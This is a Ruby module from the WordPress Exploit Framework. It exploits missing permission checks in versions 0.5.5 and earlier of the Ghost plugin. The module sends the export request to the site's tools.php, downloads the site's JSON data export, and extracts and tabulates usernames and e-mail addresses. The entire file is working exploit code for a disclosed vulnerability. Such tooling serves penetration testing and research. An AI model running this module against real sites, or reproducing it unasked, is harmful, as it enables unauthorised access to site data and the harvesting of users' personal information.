# frozen_string_literal: true

class Wpxf::Auxiliary::GhostUnrestrictedExportDownload < Wpxf::Module
  include Wpxf::WordPress::FileDownload

  def initialize
    super

    update_info(
      name: 'Ghost Plugin <= 0.5.5 - Unrestricted Export Download',
      desc: %(
        This module utilises a lack of user level validation in
        versions <= 0.5.5 of the Ghost plugin to download an
        export of the WordPress data, including usernames and
        e-mail addresses.
      ),
      author: [
        'Josh Brody', # Disclosure
        'rastating'   # WPXF module
      ],
      references: [
        ['WPVDB', '8479']
      ],
      date: 'May 02 2016'
    )

    register_option(
      IntegerOption.new(
        name: 'http_client_timeout',
        desc: 'Max wait time in seconds for HTTP responses',
        default: 300,
        required: true
      )
    )
  end

  def register_remote_file_option?
    false
  end

  def check
    check_plugin_version_from_readme('ghost', '0.5.6')
  end

  def downloader_url
    normalize_uri(wordpress_url_admin, 'tools.php')
  end

  def download_request_params
    {
      'ghostexport' => 'true',
      'submit'      => 'Download Ghost file'
    }
  end

  def file_extension
    '.json'
  end

  def file_category
    'database export'
  end

  def validate_content(content)
    print_detected_users content
    super
  end

  def print_detected_users(data)
    json = JSON.parse(data)
    users = json['data']['users']

    if users
      users_table = [{ name: 'Username', email: 'E-mail' }]
      users.each do |user|
        users_table.push(name: user['name'], email: user['email'])
      end

      emit_success "Found #{users.length} users"
      emit_table users_table
    end
  rescue StandardError
    emit_error 'Failed to parse the download. The plugin may be disabled or the export may be corrupt.'
  end
end
